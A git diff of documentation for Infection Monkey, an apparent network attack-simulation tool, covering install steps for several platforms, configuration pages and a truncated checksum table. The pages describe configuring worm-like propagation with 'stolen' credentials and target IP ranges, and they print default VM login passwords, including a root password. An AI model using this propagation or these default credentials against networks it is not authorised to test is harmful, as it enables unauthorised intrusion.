point, AWS will instance and deploy the new machine. -When ready, you can browse to the Infection Monkey running on your fresh deployment at: +When ready, you can browse to the Infection Monkey running on the fresh deployment at: `https://{public-ip}:5000` -You will be presented a login page. Use the username **monkey**, and the new EC2 instace’s instance ID for password. You can find the instance id by going to the EC2 console and selecting your instance. It should appear in the details pane below. +You will be presented with a login page. Enter the username **monkey**, and the +new EC2 instance's **instance ID** for your password. To find your instance ID, +go to the EC2 console and select your instance. It should appear in the details +pane below. ![AWS instance ID](../../images/setup/aws/aws-instance-id.png "AWS instance ID") ## Integration with AWS services -The Monkey has built-in integrations with AWS services for better execution and reporting. See [Usage -> Integrations](../../usage/integrations) for more details. +The Infection Monkey has built-in integrations with AWS services for better +execution and reporting. See [Usage -> Integrations](../../usage/integrations) +for more details. ## Upgrading -Currently there's no "upgrade-in-place" option when a new version comes out. To get the new version, you can deploy a new machine from the marketplace. If you'd like to keep your existing configuration, you can export it to a file by using the Export button and then import it to the new Monkey Island. + +Currently, there's no "upgrade-in-place" option when a new version is released. +To get an updated version, you can deploy a new machine from the marketplace. + +If you'd like to keep your existing configuration, you can export it to a file +using the *Export config* button and then import it to the new Monkey Island. ![Export configuration](../../images/setup/export-configuration.png "Export configuration") diff --git a/docs/content/setup/azure.md b/docs/content/setup/azure.md index a4a2eda84..dcb50e7fd 100644 --- a/docs/content/setup/azure.md +++ b/docs/content/setup/azure.md @@ -4,31 +4,36 @@ date: 2020-05-26T20:57:39+03:00 draft: false pre: ' ' weight: 6 -tags: ["setup", "azure"] +tags: ["setup", "azure"] --- ## Deployment -Select [Infection Monkey from the Azure Marketplace](https://azuremarketplace.microsoft.com/en-us/marketplace/apps/guardicore.infection_monkey) and click **GET IT NOW**. +Select the [Infection Monkey from the Azure Marketplace](https://azuremarketplace.microsoft.com/en-us/marketplace/apps/guardicore.infection_monkey) and click **GET IT NOW**. 1. Under **Basics**: - 1. Choose a name for your Infection Monkey instance, such as InfectionMonkey. - 1. Choose a username and password or provide a SSH public key for authentication. - 1. Choose a resource group and the location your instance will be deployed in. + 1. Choose a name for the new Infection Monkey instance, such as InfectionMonkey. + 1. Choose a username and password, or provide an SSH public key for authentication. + 1. Choose a resource group and the location for the Infection Monkey instance. 1. Under **Size** 1. Choose a machine size with at least 1GB of RAM for optimal performance. 1. Under **Settings** - 1. Choose the network the new instance will be a member of. + 1. Choose the network for the new instance. 1. In the **Network Security Group** field, make sure ports 5000 and 5001 on the machine are accessible for inbound TCP traffic. 1. Under **Summary** 1. Review the details of the offer and click **Create**. -At this point, Azure will instance and deploy your new machine. When ready, you can browse to the Infection Monkey running on your fresh deployment at: +At this point, Azure will provision and deploy your new machine. When ready, +you can browse to the Infection Monkey running on your fresh deployment at: `https://{public-ip-address}:5000` ## Upgrading -Currently there's no "upgrade-in-place" option when a new version comes out. To get the new version, you can deploy a new machine from the marketplace. If you'd like to keep your existing configuration, you can export it to a file by using the Export button and then import it to the new Monkey Island. +Currently, there's no "upgrade-in-place" option when a new version is released. +To get the updated version, you can deploy a new machine from the marketplace. + +If you'd like to keep your existing configuration, you can export it to a file +using the *Export config* button and then import it to the new Monkey Island. ![Export configuration](../../images/setup/export-configuration.png "Export configuration") diff --git a/docs/content/setup/debian.md b/docs/content/setup/debian.md index a1d751411..b76d27ec0 100644 --- a/docs/content/setup/debian.md +++ b/docs/content/setup/debian.md @@ -8,37 +8,57 @@ disableToc: false tags: ["setup", "debian", "linux"] --- + +## Supported Distros + +This Debian package has been tested on Ubuntu Bionic 18.04 LTS and Ubuntu Focal 20.04 LTS. + ## Deployment -To extract the `tar.gz` file, run `tar -xvzf monkey-island-debian.tar.gz`. +1. Update your package list by running: + ```sh + sudo apt update + ``` +1. If you are using Ubuntu Focal 20.04, run the following commands to install + Python 3.7: + ```sh + sudo apt install software-properties-common + sudo add-apt-repository ppa:deadsnakes/ppa + sudo apt install python3.7 python3.7-dev + ``` +1. Extract the tarball by running: + ```sh + tar -xvzf monkey-island-debian.tgz + ``` +1. Install the Monkey Island Debian package: + ```sh + sudo dpkg -i monkey_island.deb # this might print errors + ``` +1. If, at this point, you receive dpkg errors that look like this: -To deploy the package, once you’ve extracted it, run the following commands: + ```sh + dpkg: error processing package gc-monkey-island (--install): + dependency problems - leaving unconfigured + Errors were encountered while processing: + gc-monkey-island + ``` -```sh -sudo apt update -sudo dpkg -i monkey_island.deb # this might print errors -``` + It just means that not all dependencies were pre-installed on your system. + That's no problem! Just run the following command, which will install all + dependencies, and then install the Monkey Island: -If at this point, dpkg printed errors that look like this: - -```sh -dpkg: error processing package gc-monkey-island (--install): - dependency problems - leaving unconfigured -Errors were encountered while processing: - gc-monkey-island -``` - -That just means that not all dependencies were pre-installed on your system. That’s no problem! Just run the following command, which will install all dependencies and then install the Monkey Island: - -```sh -sudo apt install -f -``` + ```sh + sudo apt install -f + ``` ## Troubleshooting ### Trying to install on Ubuntu <16.04 -If you’re trying to install the Monkey Island on Ubuntu 16.04 or older, you need to install the dependencies yourself, since Python 3.7 is only installable from the `deadsnakes` PPA. To install the Monkey Island on Ubuntu 16.04, follow the following steps: +If you're trying to install the Monkey Island on Ubuntu 16.04 or older, you +need to install the dependencies yourself, since Python 3.7 is only installable +from the `deadsnakes` PPA. To install the Monkey Island on Ubuntu 16.04, follow +these steps: ```sh sudo apt update @@ -57,8 +77,13 @@ To check the status of the Monkey Island after the installation, run the followi ## Upgrading -To upgrade when a new version comes out, download the new Monkey `.deb` file and install it. You should see a message like `Unpacking monkey-island (1.8.2) over (1.8.0)`. After which, the installation should complete successfully. +Currently, there's no "upgrade-in-place" option when a new version is released. +To get the updated version, download the new `.deb` file and install it. You +should see a message like `Unpacking monkey-island (1.8.2) over (1.8.0)`. After +which, the installation should complete successfully. -If you'd like to keep your existing configuration, you can export it to a file by using the Export button and then import it to the new server. +If you'd like to keep your existing configuration, you can export it to a file +using the *Export config* button and then import it to the new Monkey Island. ![Export configuration](../../images/setup/export-configuration.png "Export configuration") + diff --git a/docs/content/setup/docker.md b/docs/content/setup/docker.md index 4a07293b8..14454bdc6 100644 --- a/docs/content/setup/docker.md +++ b/docs/content/setup/docker.md @@ -4,27 +4,30 @@ date: 2020-05-26T20:57:28+03:00 draft: false pre: ' ' weight: 4 -tags: ["setup", "docker", "linux", "windows"] +tags: ["setup", "docker", "linux", "windows"] --- ## Deployment To extract the `tar.gz` file, run `tar -xvzf monkey-island-docker.tar.gz`. -Once you’ve extracted the container from the tar.gz file, run the following commands: +Once you've extracted the container from the tar.gz file, run the following commands: ```sh -sudo docker load -i dk.monkeyisland.1.9.0.tar -sudo docker pull mongo +sudo docker load -i dk.monkeyisland.1.10.0.tar +sudo docker pull mongo:4.2 sudo mkdir -p /var/monkey-mongo/data/db -sudo docker run --name monkey-mongo --network=host -v /var/monkey-mongo/data/db:/data/db -d mongo -sudo docker run --name monkey-island --network=host -d guardicore/monkey-island:1.9.0 +sudo docker run --name monkey-mongo --network=host -v /var/monkey-mongo/data/db:/data/db -d mongo:4.2 +sudo docker run --name monkey-island --network=host -d guardicore/monkey-island:1.10.0 ``` ## Upgrading -There's no "upgrade-in-place" option for Docker. To get the new version, download it, stop the current container, and run the installation commands again with the new file. +Currently, there's no "upgrade-in-place" option when a new version is released. +To get an updated version, download it, stop the current container and run the +installation commands again with the new file. -If you'd like to keep your existing configuration, you can export it to a file by using the Export button and then import it to the new server. +If you'd like to keep your existing configuration, you can export it to a file +using the *Export config* button and then import it to the new Monkey Island. ![Export configuration](../../images/setup/export-configuration.png "Export configuration") diff --git a/docs/content/setup/vmware.md b/docs/content/setup/vmware.md index 5ee958188..c6519672b 100644 --- a/docs/content/setup/vmware.md +++ b/docs/content/setup/vmware.md @@ -4,59 +4,72 @@ date: 2020-05-26T20:57:14+03:00 draft: false pre: ' ' weight: 3 -tags: ["setup", "vmware"] +tags: ["setup", "vmware"] --- ## Deployment -1. Deploy the Infection Monkey OVA by choosing Deploy OVF Template and follow the wizard instructions. *Note: make sure port 5000 and 5001 on the machine are accessible for inbound TCP traffic.* -2. Turn on the Infection Monkey VM. -3. Log in to the machine with the following credentials: +1. Deploy the Infection Monkey OVA by choosing **Deploy OVF Template** and + following the wizard instructions. *Note: make sure ports 5000 and 5001 on + the machine are accessible for inbound TCP traffic.* +1. Turn on the Infection Monkey VM. +1. Log in to the machine with the following credentials: 1. Username: **monkeyuser** - 2. Password: **Noon.Earth.Always** -4. It's recommended to change the machine passwords by running the following commands: `sudo passwd monkeyuser`, `sudo passwd root`. + 1. Password: **Noon.Earth.Always** +1. For security purposes, it's recommended that you change the machine + passwords by running the following commands: `sudo passwd monkeyuser`, `sudo + passwd root`. ## OVA network modes -The OVA can be used in one of two modes: +You can use the OVA in one of two modes: -1. In a network with DHCP configured. In this case, the Monkey Island will automatically query and receive an IP address from the network. -1. With a static IP address. - - In this case, you should login to the VM console with -username `root` and password `G3aJ9szrvkxTmfAG`. After logging in, edit the interfaces file. You can do that by writing the following command in the prompt: +1. In a network with the DHCP configured — In this case, the Monkey Island will + automatically query and receive an IP address from the network. +1. With a static IP address — In this case, you should log in to the VM console + with the username `monkeyuser` and the password `Noon.Earth.Always`. After logging + in, edit the Netplan configuration by entering the following command in the + prompt: ```sh - sudo nano /etc/network/interfaces + sudo nano /etc/netplan/00-installer-config.yaml ``` - And change the lines: + Make the following changes: + + ```diff + # This is the network config written by 'subiquity' + network: + ethernets: + ens160: + - dhcp4: true + + dhcp4: false + + addresses: [XXX.XXX.XXX.XXX/24] + + gateway4: YYY.YYY.YYY.YYY + + nameservers: + + addresses: [1.1.1.1] + version: 2 + ``` + + Replace `XXX.XXX.XXX.XXX` with the desired IP addess of the VM. Replace + `YYY.YYY.YYY.YYY` with the default gateway. + + Save the changes then run the command: ```sh - auto ens160 - iface ens160 inet dhcp + sudo netplan apply ``` - to the following: - - ```sh - auto ens160 - iface ens160 inet static - address AAA.BBB.CCC.DDD - netmask XXX.XXX.XXX.XXX - gateway YYY.YYY.YYY.YYY - ``` - - Save the changes then run the command - - ```sh - sudo ifdown ens160 && ifup ens160 - ``` + If this configuration does not suit your needs, see + https://netplan.io/examples/ for more information about how to configure + Netplan. ## Upgrading -There's no "upgrade-in-place" option for Docker. To get the new version, download it, stop the current container, and run the installation commands again with the new file. +Currently, there's no "upgrade-in-place" option when a new version is released. +To get an updated version, download the updated OVA file. -If you'd like to keep your existing configuration, you can export it to a file by using the Export button and then import it to the new server. +If you'd like to keep your existing configuration, you can export it to a file +using the *Export config* button and then import it to the new Monkey Island. ![Export configuration](../../images/setup/export-configuration.png "Export configuration") diff --git a/docs/content/setup/windows.md b/docs/content/setup/windows.md index d8a6c84e9..d1ce0d43c 100644 --- a/docs/content/setup/windows.md +++ b/docs/content/setup/windows.md @@ -4,32 +4,39 @@ date: 2020-05-26T20:57:10+03:00 draft: false pre: ' ' weight: 2 -tags: ["setup", "windows"] +tags: ["setup", "windows"] --- ## Deployment -Run the installer, and you should be met with the following screen: +After running the installer, the following prompt should appear on the screen: ![Windows installer screenshot](../../images/setup/windows/installer-screenshot-1.png "Windows installer screenshot") -1. Follow the steps of the installation. +1. Follow the steps to complete the installation. 1. Run the Monkey Island by clicking on the desktop shortcut. ## Troubleshooting -### Missing windows update +### Missing Windows update -The installer requires [Windows update #2999226](https://support.microsoft.com/en-us/help/2999226/update-for-universal-c-runtime-in-windows) to be installed. If you’re having trouble running the installer, please make sure to install that update via Windows Update or manually from the link. +The installer requires [Windows update #2999226](https://support.microsoft.com/en-us/help/2999226/update-for-universal-c-runtime-in-windows). +If you're having trouble running the installer, please make sure to install the +update via Windows Update or manually from the link above. ### Supported browsers -The Monkey Island supports Chrome (and Chrome-based) browsers. Some Windows Servers only have Internet Explorer installed. Make sure to use Chrome or a similar modern browser. [You can download Google Chrome from here](https://www.google.com/chrome/). +The Monkey Island supports Chrome (and Chrome-based) browsers. If your Windows +server only has Internet Explorer installed, please install Chrome or a similar +modern browser. [You can download Google Chrome +here](https://www.google.com/chrome/). ## Upgrading -To upgrade, download the new installer and run it. The new Monkey version should be installed over the old one. +To upgrade the Infection Monkey on Windows, download the new installer and run +it. The new Monkey version will be installed over the old version. -If you'd like to keep your existing configuration, you can export it to a file by using the Export button and then import it to the new server. +If you'd like to keep your existing configuration, you can export it to a file +using the *Export config* button and then import it to the new Monkey Island. ![Export configuration](../../images/setup/export-configuration.png "Export configuration") diff --git a/docs/content/usage/_index.md b/docs/content/usage/_index.md index c5faecd05..8bbbab800 100644 --- a/docs/content/usage/_index.md +++ b/docs/content/usage/_index.md @@ -8,6 +8,6 @@ pre = ' ' # Usage -If you're just starting with Infection Monkey, check out our [Getting Started](getting-started) page. +If you're new to the Infection Monkey, check out our [Getting Started](getting-started) page. -If you haven't downloaded Monkey yet, {{% button href="https://www.guardicore.com/infectionmonkey/#download" icon="fas fa-download" %}}Get Infection Monkey here{{% /button %}}! +If you haven't downloaded the Infection Monkey yet, {{% button href="https://www.guardicore.com/infectionmonkey/#download" icon="fas fa-download" %}}Get Infection Monkey here{{% /button %}}! diff --git a/docs/content/usage/configuration/_index.md b/docs/content/usage/configuration/_index.md index f10d81ce1..7227fd285 100644 --- a/docs/content/usage/configuration/_index.md +++ b/docs/content/usage/configuration/_index.md @@ -7,9 +7,9 @@ weight: 3 pre: " " --- -# Configure the Monkey +# Configure the Infection Monkey -The Monkey is highly configurable. Nearly every part of it can be modified to turn it to a fast acting worm or into a port scanning and system information collecting machine. +The Infection Monkey is highly configurable. Nearly every part of it can be modified to turn it into a fast-acting worm or a port scanning and system information collecting machine. {{% notice warning %}} This section of the documentation is incomplete and under active construction. @@ -17,4 +17,4 @@ This section of the documentation is incomplete and under active construction. See these documentation pages for information on each configuration value: -{{% children description=true %}} +{{% children description=true style="p"%}} diff --git a/docs/content/usage/configuration/basic-credentials.md b/docs/content/usage/configuration/basic-credentials.md index ffd6a87e4..d87ab97dd 100644 --- a/docs/content/usage/configuration/basic-credentials.md +++ b/docs/content/usage/configuration/basic-credentials.md @@ -5,6 +5,6 @@ draft: false description: "Configure credentials that the Monkey will use for propagation." --- -In this screen you can feed the Monkey with “stolen” credentials for your network, simulating an attacker with inside knowledge. +On this screen you can feed the Infection Monkey “stolen” credentials from your network, simulating an attacker with inside knowledge. -![Configure credentials](/images/usage/configruation/credentials.png "Configure credentials") +![Configure credentials](/images/usage/configuration/credentials.png "Configure credentials") diff --git a/docs/content/usage/configuration/basic-network.md b/docs/content/usage/configuration/basic-network.md index 410f7a2ee..fa6c6004d 100644 --- a/docs/content/usage/configuration/basic-network.md +++ b/docs/content/usage/configuration/basic-network.md @@ -7,6 +7,6 @@ description: "Configure settings related to the Monkey's network activity." Here you can control multiple important settings, such as: -* Network propagation depth - How many hops from the base machine will the Monkey spread -* Local network scan - Should the Monkey attempt to attack any machine in its subnet -* Scanner IP/subnet list - Specific IP ranges that the Monkey should try to attack. +* Network propagation depth - How many hops from the base machine will the Infection Monkey spread? +* Local network scan - Should the Infection Monkey attempt to attack any machine in its subnet? +* Scanner IP/subnet list - Which specific IP ranges should the Infection Monkey should try to attack? diff --git a/docs/content/usage/file-checksums.md b/docs/content/usage/file-checksums.md index d892ff24a..b063550ed 100644 --- a/docs/content/usage/file-checksums.md +++ b/docs/content/usage/file-checksums.md @@ -20,7 +20,7 @@ Get-FileHash '.\Monkey Island v1.8.2_3536_windows.exe' | Format-List # Should print # Algorithm : SHA256 # Hash : 2BE528685D675C882604D98382ADB739F5BA0A7E234E3569B21F535173BD9569 -# Path : C:\Users\shay.nehmad\Desktop\work\compiled monkeys\1.8.2\Monkey Island v1.8.2_3536_windows.exe +# Path : C:\Users\shay.nehmad\Desktop\work\compiled monkeys\1.8.2\Monkey Island v1.8.2_3536_windows.exe <-- Your path will be different ``` ### On Linux @@ -28,27 +28,163 @@ Get-FileHash '.\Monkey Island v1.8.2_3536_windows.exe' | Format-List Use the `sha256sum` shell command, like so: ```sh -sha256sum monkey-linux-64 +$ sha256sum monkey-linux-64 # Should print: # 734dd2580f3d483210daf54c063a0a972911bbe9afb6ebc6278f86cd6b05e7ab monkey-linux-64 ``` ## Latest version checksums -| Filename | Type | Version | SHA256 hash | -|-|-|-|-| -monkey-windows-64.exe | Windows Agent | 1.8.2 | `2e6a1cb5523d87ddfd48f75b10114617343fbac8125fa950ba7f00289b38b550` -monkey-windows-32.exe | Windows Agent | 1.8.2 | `86a7d7065e73b795e38f2033be0c53f3ac808cc67478aed794a7a6c89123979f` -monkey-linux-64 | Linux Agent | 1.8.2 | `4dce4a115d41b43adffc11672fae2164265f8902267f1355d02bebb802bd45c5` -monkey-linux-32 | Linux Agent | 1.8.2 | `39d3fe1c7b33482a8cb9288d323dde17b539825ab2d736be66a9582764185478` -infection_monkey_deb.tgz | Debian Package | 1.8.2 | `2a6b4b9b846566724ff985c6cc8283222b981b3495dd5a8920b6bc3f34d556e2` -Monkey Island v1.8.2_3536_windows.exe | Windows Installer | 1.8.2 | `2be528685d675c882604d98382adb739f5ba0a7e234e3569b21f535173bd9569` -Monkey Island v1.8.2_3536_windowszt.exe | Windows Installer | 1.8.2 | `f282ce4dd50abe54671948fb5b3baf913087459444e451660971290a72fe244a` -infection_monkey_docker_docker_20200607_172156.tgz | Docker | 1.8.2 | `0e4bc731ef7e8bf19b759709672375890136c008526be454850d334d9ba5012d` -infection_monkey_docker_dockerzt_20200607_172521.tgz | Docker | 1.8.2 | `0f4b0cd6fd54dc14ea50c5d2fb3fc711e9863518bd5bffd04e08a0f17eb99e75` +| Filename | Type | Version | SHA256 | +|------------------------------------------------------|-------------------|---------|--------------------------------------------------------------------| +| monkey-windows-64.exe | Windows Agent | 1.10.0 | `3b499a4cf1a67a33a91c73b05884e4d6749e990e444fa1d2a3281af4db833fa1` | +| monkey-windows-32.exe | Windows Agent | 1.10.0 | `8e891e90b11b97fbbef27f1408c1fcad486b19c612773f2d6a9edac5d4cdb47f` | +| monkey-linux-64 | Linux Agent | 1.10.0 | `932f703510b6484c3824fc797f90f99722e38a7f8956cf6fa58fdecb3790ab93` | +| monkey-linux-32 | Linux Agent | 1.10.0 | `a6de7d571051292b9db966afe025413dc20b214c4aab53e48d90d8e04264f4f5` | +| infection_monkey_deb.tgz | Debian Package | 1.10.0 | `534d85c4abc78e2c86a74d8b88759b091b62077dd9e32f02eeb43d716d359ff6` | +| infection_monkey_debzt.tgz | Debian Package | 1.10.0 | `bd01d8482f80990e6cc0ed654c07dbd80da71eebe3dd244365e9bc00f86b1c03` | +| Monkey Island v1.10.0_3593_windows.exe | Windows Installer | 1.10.0 | `ebd2c5627d21dd8670def02c3a5a995f9e799ba567cf4caacd702654264ddf06` | +| Monkey Island v1.10.0_3593_windowszt.exe | Windows Installer | 1.10.0 | `60aaf3b32e5d06c91fe0d4f1b950529517ac33796f67e9ccfef0e8ce1c5372d8` | +| infection_monkey_docker_docker_20210326_171631.tgz | Docker | 1.10.0 | `e4f9c7c5aafe7e38b33d2927a9c0cf6a3ac27858d3d0e3f2252c2e91809a78db` | +| infection_monkey_docker_dockerzt_20210326_172035.tgz | Docker | 1.10.0 | `248640e9eaa18e4c27f67237f0594d9533732f372ba4674d5d1bea43ab498cf5` | +| monkey-island-vmware.ova | OVA | 1.10.0 | `3472ad4ae557ddad7d7db8fbbfcfd33c4f2d95d870b18fa4cab49af6b562009c` | +| monkey-island-vmwarezt.ova | OVA | 1.10.0 | `3472ad4ae557ddad7d7db8fbbfcfd33c4f2d95d870b18fa4cab49af6b562009c` | -## All checksums -### 1.8.0 and older +## Older checksums -You can find all these checksums in [this page](https://www.guardicore.com/infectionmonkey/checksums.html). +| Filename | Type | Version | SHA256 | +|------------------------------------------------------|-------------------|---------|--------------------------------------------------------------------| +| monkey-windows-64.exe | Windows Agent | 1.9.0 | `24622cb8dbabb0cf4b25ecd3c13800c72ec5b59b76895b737ece509640d4c068` | +| monkey-windows-32.exe | Windows Agent | 1.9.0 | `67f12171c3859a21fc8f54c5b2299790985453e9ac028bb80efc7328927be3d8` | +| monkey-linux-64 | Linux Agent | 1.9.0 | `aec6b14dc2bea694eb01b517cca70477deeb695f39d40b1d9e5ce02a8075c956` | +| monkey-linux-32 | Linux Agent | 1.9.0 | `4c24318026239530ed2437bfef1a01147bb1f3479696eb4eee6009326ce6b380` | +| infection_monkey_deb.tgz | Debian Package | 1.9.0 | `33c23ddae283e3aafe965d264bc88464b66db3dd6874fd7e5cbcd4e931b3bb25` | +| infection_monkey_debzt.tgz | Debian Package | 1.9.0 | `cc53fe9632f44248357d6bd20cf8629be9baf8688468fa6d3e186dcebf10cef6` | +| Monkey Island v1.9.0_3546_windows.exe | Windows Installer | 1.9.0 | `371f6d25e8cb16ea7ebdfd367092ee65b33db2ec35b44d96705716641eaa59e8` | +| Monkey Island v1.9.0_3546_windowszt.exe | Windows Installer | 1.9.0 | `662c611fb83bb8c7ef5f99c5d5ae04f5758727c688238d6a3cd4c58675581695` | +| infection_monkey_docker_docker_20200806_153913.tgz | Docker | 1.9.0 | `5da11c539045a395ced5dd572d331c4f0e9315a3ee192c06279ff4fef668b96e` | +| infection_monkey_docker_dockerzt_20200806_154742.tgz | Docker | 1.9.0 | `a84dbaad32ae42cc2d359ffbe062aec493a7253cf706a2d45f0d0b1c230f9348` | +| monkey-island-vmware.ova | OVA | 1.9.0 | `3861d46518e8a92e49992b26dbff9fe8e8a4ac5fd24d68e68b13e7fd3fa22247` | +| monkey-island-vmwarezt.ova | OVA | 1.9.0 | `03d356eb35e6515146f5bd798bb62cb15c56fcdf83a5281cf6cdc9b901586026` | +| monkey-windows-64.exe | Windows Agent | 1.8.2 | `2e6a1cb5523d87ddfd48f75b10114617343fbac8125fa950ba7f00289b38b550` | +| monkey-windows-32.exe | Windows Agent | 1.8.2 | `86a7d7065e73b795e38f2033be0c53f3ac808cc67478aed794a7a6c89123979f` | +| monkey-linux-64 | Linux Agent | 1.8.2 | `4dce4a115d41b43adffc11672fae2164265f8902267f1355d02bebb802bd45c5` | +| monkey-linux-32 | Linux Agent | 1.8.2 | `39d3fe1c7b33482a8cb9288d323dde17b539825ab2d736be66a9582764185478` | +| infection_monkey_deb.tgz | Debian Package | 1.8.2 | `2a6b4b9b846566724ff985c6cc8283222b981b3495dd5a8920b6bc3f34d556e2` | +| Monkey Island v1.8.2_3536_windows.exe | Windows Installer | 1.8.2 | `2be528685d675c882604d98382adb739f5ba0a7e234e3569b21f535173bd9569` | +| Monkey Island v1.8.2_3536_windowszt.exe | Windows Installer | 1.8.2 | `f282ce4dd50abe54671948fb5b3baf913087459444e451660971290a72fe244a` | +| infection_monkey_docker_docker_20200607_172156.tgz | Docker | 1.8.2 | `0e4bc731ef7e8bf19b759709672375890136c008526be454850d334d9ba5012d` | +| infection_monkey_docker_dockerzt_20200607_172521.tgz | Docker | 1.8.2 | `0f4b0cd6fd54dc14ea50c5d2fb3fc711e9863518bd5bffd04e08a0f17eb99e75` | +| monkey-windows-64.exe | Windows Agent | 1.8.0 | `f0bc144ba4ff46094225adaf70d3e92e9aaddb13b59e4e47aa3c2b26fd7d9ad7` | +| monkey-windows-32.exe | Windows Agent | 1.8.0 | `1ddb093f9088a4d4c0af289ff568bbe7a0d057e725e6447055d4fe6c5f4e2c08` | +| monkey-linux-64 | Linux Agent | 1.8.0 | `d41314e5df72d5a470974522935c0b03dcb1c1e6b094d4ab700b04d5fec59ae6` | +| monkey-linux-32 | Linux Agent | 1.8.0 | `217cc2b9481f6454fa0a13adf12d9b29ce4e1e6a319971c8db9b446952ce3fb2` | +| infection_monkey_deb.tgz | Debian Package | 1.8.0 | `9c5254583ce786768ea55df8063152bd19e0f21a83e6f4f873c5dccc5a1c9d5e` | +| infection_monkey_debzt.tgz | Debian Package | 1.8.0 | `90A0824EC98680944B15B86CF5CFA09D48EDA406300C4CAE54432DB05F486D07` | +| Monkey Island v1.8.0_3513_windows.exe | Windows Installer | 1.8.0 | `ce9a9d0539c14ebe2a10cf3b36991b309abd7b62dd7fb7522a549d8987b0f0f4` | +| Monkey Island v1.8.0_3514_windowszt.exe | Windows Installer | 1.8.0 | `0b535a802ac43455d702b45673859b940c1feb7702b46a6a2cbc699672b0c89d` | +| infection_monkey_docker_docker_20200330_201419.tgz | Docker | 1.8.0 | `4f15a5008e43d8c5184456771dd9e8d70104b4ec79e34b53d230662604a7d190` | +| infection_monkey_docker_dockerzt_20200401_174529.tgz | Docker | 1.8.0 | `d94404134d879f3d859c77454df4abd0dbca00b8cae4b1c52d3b38e847f34e4c` | +| monkey-island-vmware.ova | OVA | 1.8.0 | `6BC4E85A0EA81045BD88E2D5A9F98F0DD40DE99E94D1E343D13FA418045A6915` | +| monkey-island-vmwarezt.ova | OVA | 1.8.0 | `79A043D85521F94024F8B0428A7A33B4D3F5B13F9D2B83F72C73C8D0BB12ED91` | +| monkey-linux-64 | Debian Package | 1.8.0 | `b0de3931f6b9c2d986860151e5094e4c57aafa5e3e4aced828ecba36e4ece851` | +| infection_monkey_docker_docker_20200330_201419.tgz | Docker | 1.8.0 | `4f15a5008e43d8c5184456771dd9e8d70104b4ec79e34b53d230662604a7d190` | +| Monkey Island v1.8.0_3513_windows.exe | Windows Installer | 1.8.0 | `ce9a9d0539c14ebe2a10cf3b36991b309abd7b62dd7fb7522a549d8987b0f0f4` | +| monkey-windows-64.exe | Windows Agent | 1.8.0 | `f0bc144ba4ff46094225adaf70d3e92e9aaddb13b59e4e47aa3c2b26fd7d9ad7` | +| monkey-linux-64 | Linux Agent | 1.8.0 | `d41314e5df72d5a470974522935c0b03dcb1c1e6b094d4ab700b04d5fec59ae6` | +| monkey-windows-32.exe | Windows Agent | 1.8.0 | `1ddb093f9088a4d4c0af289ff568bbe7a0d057e725e6447055d4fe6c5f4e2c08` | +| monkey-linux-32 | Linux Agent | 1.8.0 | `217cc2b9481f6454fa0a13adf12d9b29ce4e1e6a319971c8db9b446952ce3fb2` | +| infection_monkey_deb.tgz | Debian Package | 1.8.0 | `9c5254583ce786768ea55df8063152bd19e0f21a83e6f4f873c5dccc5a1c9d5e` | +| infection_monkey_debzt.tgz | Debian Package | 1.8.0 | `90A0824EC98680944B15B86CF5CFA09D48EDA406300C4CAE54432DB05F486D07` | +| infection_monkey_docker_docker_20200401_174048.tgz | Docker | 1.8.0 | `ae59b222a94e1ec83a1c36917bc5cd3d119057e146ac01242af91808f3dce37a` | +| infection_monkey_docker_dockerzt_20200401_174529.tgz | Docker | 1.8.0 | `d94404134d879f3d859c77454df4abd0dbca00b8cae4b1c52d3b38e847f34e4c` | +| Monkey Island v1.8.0_3514_windows.exe | Windows Installer | 1.8.0 | `a56bd98ca3d0dd260f26ac5ee46022fd5ca3f9081a43535b4f57cef43c345dc0` | +| Monkey Island v1.8.0_3514_windowszt.exe | Windows Installer | 1.8.0 | `0b535a802ac43455d702b45673859b940c1feb7702b46a6a2cbc699672b0c89d` | +| Monkey Island v1.8.0_3516_windows.exe | Windows Installer | 1.8.0 | `a31a3837d8ca722e8db10148704237b032e5ef62acc080a82ab80f009d8de6bd` | +| Monkey Island v1.8.0_3517_windows.exe | Windows Installer | 1.8.0 | `450e9ea58a5282f506f819bdc3d4477bbc917d74ee837ca0cc3e62b4a923fef1` | +| Monkey Island v1.8.0_3519_windows.exe | Windows Installer | 1.8.0 | `dfaf7b11b148a5648ca92887d731633f85b68dc82313616f0009eee123c47352` | +| Monkey Island v1.8.0_3520_windows.exe | Windows Installer | 1.8.0 | `719427a7f1878555d6940485330f51e2ddb3331c96b60a1719f6e21987efb3d3` | +| Monkey Island v1.8.0_3521_windows.exe | Windows Installer | 1.8.0 | `a9a37ec2677fc7d224c5993f914ba402c9f86c2f909dc5d649f67d08802dc847` | +| Monkey Island v1.8.0_3522_windows.exe | Windows Installer | 1.8.0 | `4aaa5a99a108ab3cb14b9268a32ac68cb2de4a001ae0e4374ca779824981ea64` | +| Monkey Island v1.8.0_3523_windows.exe | Windows Installer | 1.8.0 | `4f029d2683cf68e63f8b426fa19df9561add0ed169821b4fc83c2721f0939520` | +| Monkey Island v1.8.0_3525_windows.exe | Windows Installer | 1.8.0 | `4a660cf5eda5beae844e5a62031972304eaa0432c32708f11d94dc0a501be182` | +| Monkey Island v1.8.0_3525_windowszt.exe | Windows Installer | 1.8.0 | `980ba04ef9f6395e2885851f906ee3ed57d696a2e984aa1e7a59446a57ce0408` | +| infection_monkey_docker_docker_20200419_160310.tgz | Docker | 1.8.0 | `999edc833484f51475db5a56e0557b59d09f520453b8077c60f7d9359b504299` | +| infection_monkey_docker_dockerzt_20200419_160542.tgz | Docker | 1.8.0 | `87ec632837d4add968831ee7fd271871f89e5b29e251d046ebf100bc94bb755e` | +| Monkey Island v1.8.0_3526_windows.exe | Windows Installer | 1.8.0 | `6b6c05f3575eef9b95c1624f74953e54654211de4ae1ad738b287e661f002989` | +| Monkey Island v1.8.0_3526_windowszt.exe | Windows Installer | 1.8.0 | `f181e58820817d76274fab3ee2a7824fc0d5b1f637d7f5c7fe111eb7061844f2` | +| Monkey Island v1.8.0_3527_windows.exe | Windows Installer | 1.8.0 | `94c2e09ca103bc22206715783616af91e58fe773a04c975d6a09d48d9a5759b2` | +| infection_monkey_docker_docker_20200420_151527.tgz | Docker | 1.8.0 | `fe4512fd46c3be6c9416287e3a703e8453a46a17b05404ba72035036946f6dbd` | +| infection_monkey_docker_docker_20200420_153306.tgz | Docker | 1.8.0 | `17ef5de58a49168a70085cb80063355ac489139c88d029d175a09e36524fe224` | +| infection_monkey_docker_docker_20200420_174533.tgz | Docker | 1.8.0 | `fcf57ab8b1b77bcf678765c90798b950fd4a62019c48ebeeac37e9d3011b6b2e` | +| infection_monkey_docker_docker_20200427_184208.tgz | Docker | 1.8.0 | 